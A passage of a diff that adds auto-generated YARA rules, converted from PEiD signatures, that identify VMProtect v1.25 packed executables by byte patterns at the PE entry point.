+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02933_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02934_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02935_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02936_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02937_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02938_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02939_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02940_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02941_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02942_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02943_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02944_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02945_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02946_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02947_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02948_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02949_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02950_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02951_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02952_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02953_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02954_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02955_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02956_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02957_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02958_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02959_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02960_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02961_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02962_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02963_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02964_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02965_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02966_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02967_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02968_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02969_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02970_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02971_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02972_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02973_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02974_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02975_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02976_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02977_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02978_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02979_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02980_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02981_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02982_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02983_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02984_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02985_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5B 59 5D 5F 58 5E 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02986_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02987_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02988_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02989_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02990_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02991_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 5E 59 5F 58 9D 58 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02992_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02993_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02994_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02995_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02996_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02997_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02998_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02999_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5B 5F 58 5E 59 5A 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03000_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03001_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 9D 5F 5B 5A 5B 58 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03002_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03003_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03004_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03005_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03006_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03007_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03008_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03009_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03010_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03011_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03012_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03013_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03014_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03015_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03016_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03017_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
